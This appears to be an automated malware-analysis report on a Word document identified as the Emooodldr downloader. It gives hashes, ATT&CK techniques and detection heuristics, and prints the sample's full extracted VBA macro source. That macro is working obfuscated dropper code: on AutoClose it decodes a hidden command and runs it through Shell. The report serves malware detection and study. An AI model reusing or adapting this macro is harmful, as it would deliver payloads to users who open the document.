Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 92121041f5102caa…

MALICIOUS

Office (OOXML)

52.5 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-01-11
MD5: 314e533e5f7af75fcb0da934290ae6e1 SHA-1: 51575e91aeb11ad7fafdc25983c50f587f5b4a56 SHA-256: 92121041f5102caa8e0d95a48c32161648fe54c0f839ec54c8faf1595b0ea3d3
280 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is an OOXML document containing VBA macros. The AutoClose macro is present and uses the Shell() function to execute a command. The script attempts to deobfuscate a string which is then passed to Application.Run, indicating it's designed to download and execute a second-stage payload. ClamAV detections confirm the malicious nature and identify it as Emooodldr.

Heuristics 5

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2110 bytes
SHA-256: 02b4ca0693890762aa1aca6c6a6212236d2a8a1b0bca38d79dccd5a90adcb6d4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function motitation(torchlights)
  euploidy = Array("6", "S", "e", "n", "H", "1", "E", "Q", "s", "4", "Y", "8", "2", "T", "X", "J", "7", "R", "O", "5", "W", "d", "N", "p", "u")
  apprenticement = Array("=", "r", ".", "a", "o", "A", "h", "m", "c", "p", " ", "/", "z", "s", "n", ":", "x", "e", "t", "?", "u", "k", "N", "f", "d")
  
  shelton = vbNullString
  
  For Each sudra In torchlights
    effort = padfoot(sudra, euploidy)
    If effort > -1 Then
    shelton = apprenticement(effort) + shelton
    End If
  Next
  
  motitation = StrReverse(shelton)
  
End Function

Public Function padfoot(subprimates, theotechny)

  imboldens = 8041
  malebolgianator = -1
  For Each spallations In theotechny
    If spallations = subprimates Then
     imboldens = malebolgianator
     Exit For
    Else
     malebolgianator = malebolgianator + 1
    End If
    
  Next

  
  If imboldens = 8041 Then
    imboldens = -1
  End If


  padfoot = imboldens + 1
End Function


Sub AutoClose()
  torchlights = Array("Q", "T", "E", "O", "n", "e", "R", "7", "R", "Y", "E", "O", "O", "4", "J", "8", "8", "p", "H", "S", "O", "S", "W", "X", "R", "S", "X", "n", "T", "d", "u", "X", "R", "n", "2", "7", "u", "e", "s", "H", "Q", "8", "N", "1", "8", "T", "H", "p", "e", "4", "E", "4", "5", "W", "O", "Q", "n", "6", "d", "W", "S")
  cholecystenterorrhaphy = motitation(torchlights)
  
  Application.Run "itinerates", (cholecystenterorrhaphy)
  
End Sub


Private Sub itinerates(huisache)
   
   economism = 909
   rissoles = True
   
   While rissoles
     matchably = economism + 611
     If matchably - economism > 7 Then
       undisappointable = lungyi + "ll"
       Call VBA.Shell(huisache, vbNormalFocus - 1)
       rissoles = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 19c0fd6d9ca9cc744e58c44e302660eb7d61eaee9ea6373b8656ca383f75c6bf
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.